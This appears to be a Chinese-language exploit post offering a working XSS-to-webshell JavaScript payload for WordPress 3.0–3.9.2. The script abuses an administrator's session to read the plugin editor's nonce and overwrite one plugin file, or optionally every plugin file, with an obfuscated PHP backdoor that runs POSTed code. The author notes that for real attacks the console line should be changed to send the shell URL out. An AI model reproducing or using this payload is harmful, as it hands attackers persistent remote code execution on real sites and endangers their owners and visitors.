wordpress 3.0-3.9.2 XSS Getshell Payload(可Getshell当前模板也可以是全部插件模板)
0x_Jin
如果实战用记得把 console.lnfo 那一行该为发送喔。。。
密码:fuckxssQ这个getshell js 有getshell当前模板跟getshell全部模板的功能
默认是getshell当前模板 StartGetshell = 0
如果要getshell全部插件模板 把 StartGetshell的值改为1 即可
/*
0x_Jin WordPress Getshell
*/
var a = location.href.split('/');
var file = "";
var xurl = location.href.replace(a[a.length-1],"plugin-editor.php");
var file2 = [];
var StartGetshell = 0;
var shellcode = '<?php\n$k="ass"."ert"; $k(${"_PO"."ST"} ["fuckxssQ"]);';
jQuery.ajax({
url: xurl,
type: 'GET',
dataType: 'html',
data: {},
})
.done(function(data) {
var temp = jQuery(data);
var Xtoken = "";
var Tmpcode = "";
temp.find('input#_wpnonce').each(function(i,o){
var o=jQuery(o);
Xtoken=o.attr('value');
});
temp.find('textarea#newcontent').each(function(i,o){
var o=jQuery(o);
Tmpcode = o.text().replace('<?php',shellcode);
})
temp.find('div.alignleft big strong').each(function(i,o){
var o=jQuery(o);
file = o.text();
})
temp.find('select#plugin option').each(function(i,o){
var o=jQuery(o);
file2.push(o.attr('value'));
})
if(Xtoken&&Tmpcode&&file){
jQuery.ajax({
url: xurl,
type: 'POST',
data: {'_wpnonce':Xtoken,'newcontent':Tmpcode,'action':'update','file':file,'plugin':file,'submit':'Update+File'}
})
.done(function(){
var temp = location.href.substring(location.href.indexOf('wp-admin'),location.href.length);
console.info('Webshell:'+location.href.replace(temp,"wp-content/plugins/"+file));
return;
})
}
if(StartGetshell){
for(var i=0;i<file2.length;i++){
var filename = file2[i];
if(file2[i]!=file){
jQuery.ajax({
url: xurl,
type: 'POST',
data: {'plugin': file2[i],'Submit':'Select'},
})
.done(function(data) {
var NewCode = "";
var NewToken= "";
var Getshell=jQuery(data);
Getshell.find("textarea#newcontent").each(function(i,o){
var o=jQuery(o);
NewCode = o.text().replace('<?php',shellcode);
})
Getshell.find("input#_wpnonce").each(function(i,o){
var o=jQuery(o);
NewToken = o.attr('value');
})
if(NewCode&&NewToken){
console.log("1"+filename);
jQuery.ajax({
url: xurl,
type: 'POST',
data: {'_wpnonce':NewToken,'newcontent':NewCode,'action':'update','file':filename,'plugin':filename,'submit':'Update+File'}
})
.done(function(){
var temp = location.href.substring(location.href.indexOf('wp-admin'),location.href.length);
console.info('Webshell:'+location.href.replace(temp,"wp-content/plugins/"+filename));
return;
})
}
})
}
}
}
})
.fail(function() {
console.log("error");
})
.always(function() {
return;
});
效果图: